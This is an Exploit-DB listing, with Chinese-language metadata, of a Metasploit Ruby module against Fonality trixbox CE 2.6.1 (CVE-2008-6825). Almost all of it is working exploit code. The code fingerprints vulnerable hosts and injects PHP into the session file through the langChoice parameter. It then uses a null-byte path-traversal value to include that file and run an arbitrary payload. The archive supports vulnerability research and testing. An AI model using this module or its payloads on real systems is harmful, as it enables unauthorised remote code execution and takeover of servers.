标题: Fonality trixbox CE 2.6.1 - 'langChoice' Local File Inclusion (Metasploit) EDB-ID: 16904 CVE: 2008-6825 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-08 漏洞利用脚本: ##
# $Id: trixbox_langchoice.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# -*- coding: utf-8 -*-
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'Trixbox langChoice PHP Local File Inclusion',
   'Description' => %q{
     This module injects php into the trixbox session file and then, in a second call, evaluates
    that code by manipulating the langChoice parameter as described in OSVDB-50421.
   },
   'Author'      => ['chao-mu'],
   'License'     => BSD_LICENSE,
   'Version'     => '$Revision: 11516 $',
   'References'  =>
    [
     ['OSVDB'   => '50421'],
     ['CVE'     => '2008-6825'],
     ['BID'     => '30135'],
     ['URL'     => 'http://www.exploit-db.com/exploits/6026/'],
     ['URL'     => 'http://www.trixbox.org/']
    ],
   'Payload'     =>
    {
     # max header length for Apache (8190),
     # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
     # minus 23 for good luck (and extra spacing)
     'Space'       => 8190 - 23,
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'BadChars'    => "'\"`"  # quotes are escaped by PHP's magic_quotes_gpc in a default install
    },
   'Targets'        => [['trixbox CE 2.6.1', {}]],
   'DefaultTarget'  => 0,
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'DisclosureDate' => 'Jul 09 2008'
  ))

  register_options(
   [
    OptString.new('URI',  [true, 'The uri that accepts the langChoice param', '/user/index.php']),
    OptString.new('PATH', [true, 'The path where the php was stored', '../../../../../../../../../../tmp/sess_!SESSIONID!%00']),
   ], self.class)
 end

 def check
  # We need to ensure that this can be reached via POST
  uri = datastore['URI']
  target_code = 200

  print_status "Attempting to POST to #{uri}"
  response = send_request_cgi({'uri' => uri, 'method' => 'POST'})

  unless defined? response
   print_error 'Server did not respond to HTTP POST request'
   return Exploit::CheckCode::Safe
  end

  code = response.code

  unless code == target_code
   print_error "Expected HTTP code #{target_code}, but got #{code}."
   return Exploit::CheckCode::Safe
  end

  print_status "We received the expected HTTP code #{target_code}"

  # We will need the cookie PHPSESSID to continue
  cookies = response.headers['Set-Cookie']

  # Make sure cookies were set
  if defined? cookies and cookies =~ PHPSESSID_REGEX
   print_status "We were successfully sent a PHPSESSID of '#{$1}'"
  else
   print_error 'The server did not send us the cookie we were looking for'
   return Exploit::CheckCode::Safe
  end

  # Okay, at this point we're just being silly and hackish.
  unless response.body =~ /langChoice/
   print_error 'The page does not appear to contain a langChoice field'
   return Exploit::CheckCode::Safe
  end

  # XXX: Looking for a good way of determine if it is NOT trixbox
  # unless response.body.match(/trixbox - User Mode/)
  #  print_status 'The target does not appear to be running trixbox'
  #  return Exploit::CheckCode::Safe
  # end
  # print_status 'The target appears to be running trixbox'

  # If it has the target footer, we know its vulnerable
  # however skining may mean the reverse is not true
  # We've only tested on v2.6.1, so that is all we will guarantee
  # Example footer: v2.6.1 ©2008 Fonality
#  if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}&copy;200[0-8] Fonality/
  if response.body =~ /(v2\.6\.1)\s{2}&copy;2008 Fonality/
   print_status "Trixbox #{$1} detected!"
   return Exploit::CheckCode::Vulnerable
  end

  print_status 'The target may be skinned making detection too difficult'

  if response.body =~ /trixbox - User Mode/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Unknown
  end
 end

 def exploit
  # We will be be passing this our langChoice values
  uri = datastore['URI']

  # Prepare PHP file contents
  encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")

  # Deliver the payload
  print_status('Uploading the payload to the remote server')
  delivery_response = send_request_cgi({
    'uri'    => uri,
    'method' => 'POST',
    'data'   => "langChoice=#{encoded_php_file}%00"
   })

  # The call should return status code 200
  if delivery_response.code != 200
   raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
  end

  print_status "The server responded to POST with HTTP code #{delivery_response.code}"

  # We will need the cookie PHPSESSID to continue
  cookies = delivery_response.headers['Set-Cookie']

  # Make sure cookies were set
  if cookies.nil?
   raise RuntimeError, 'The server did not set any cookies'
  end

  # Contents of PHPSESSID. About to be set.
  session_id = nil

  # Retrieve the session id from PHPSESSID
  if cookies =~ PHPSESSID_REGEX
   session_id = $1
  else
   raise RuntimeError, 'The cookie PHPSESSID was not set.'
  end

  print_status "We were assigned a session id (cookie PHPSESSID) of '#{session_id}'"

  # Prepare the value that will execute our payload
  detonation = datastore['PATH'].sub('!SESSIONID!', session_id)

  print_status "We will use '#{detonation}' as the value of langChoice to detonate the payload"

  # Request the detonation uri, detonating the payload
  print_status 'Attempting to detonate. You will need to clean /tmp/ yourself.'

  # Small timeout as we're just going to assume we succeeded.
  send_request_cgi({
    'uri' => uri,
    'cookie' => cookies,
    'method' => 'POST',
    'data' => "langChoice=#{detonation}%00"
   }, 0.01)

  handler
 end
end URL: https://www.exploit-db.com/exploits/16904